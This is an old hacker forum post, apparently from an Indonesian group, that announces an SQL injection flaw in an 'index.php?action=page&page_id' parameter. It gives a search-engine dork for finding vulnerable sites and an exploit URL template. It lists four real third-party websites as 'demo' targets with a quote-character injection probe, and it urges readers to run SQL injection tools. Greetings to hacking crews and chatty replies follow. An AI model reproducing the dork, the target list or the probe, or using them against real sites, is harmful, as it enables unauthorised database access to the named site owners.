[web-apps] index.php?action=page&page_id Sql injection

[E_k3c04k]

Code:

author:kiddies A.k.A peneter
email:-
blog:http://devilz-kiddies.blogspot.com/ .. http://kiddiescode.wordpress.com/
date found : 20 september 2010


every we application is not 0day, but daemon exploits is 0day,if you ask with me, i never give you, i will give with my friends only, my community n crews...

so lets share web application exploit

[dork]
inurl:index.php?action=page page_id

[exploit]
http://www.contoh.com/index.php?action=page&page_id=[sql injection]

[demo site]
http://www.eflandruritanclub.com/index.php?action=page&page_id=2'
http://www.tobaccoroadmarathon.com/index.php?action=page&page_id=6'
http://www.gotgrit.org/index.php?action=page&page_id=5'
http://www.wetraincom.com/index.php?action=page&page_id=5'
and etc...


use sql injection tool...or make your own tool..xixix

thanks:mywisdom,gunslinger_,flyff666,petimati,whitehat,marco,jindrake,patriot,chaer.newbie(fucking idiot admin..hahaha..kidding bro),synl0rd, and you bro!!!
community thanks:Devilzc0de crew, yogyacarderlink, jasakom, anti-jasakom (where are you??), echo, kecoak-elektronik, anti-social (my private group), sdf-indonesia @irc.sdf.org
special thanks:God, my parent, my family, and my honey vera, thanks you always beside me when im down, sad, n happy...i love you so much vera...my kiss, heart and all just for you...

this kiddies web exploit

[El-Farhatz]

wkwkwk whuuasyuu , jeneng ku kgk ada diatas :)) , awas lu dis ,,,:))

[E_k3c04k]

wah sorry om el-fahrat...om kiddiesnya kelupaan...xixixix....maklum sambil ngantuk2 dia carinya...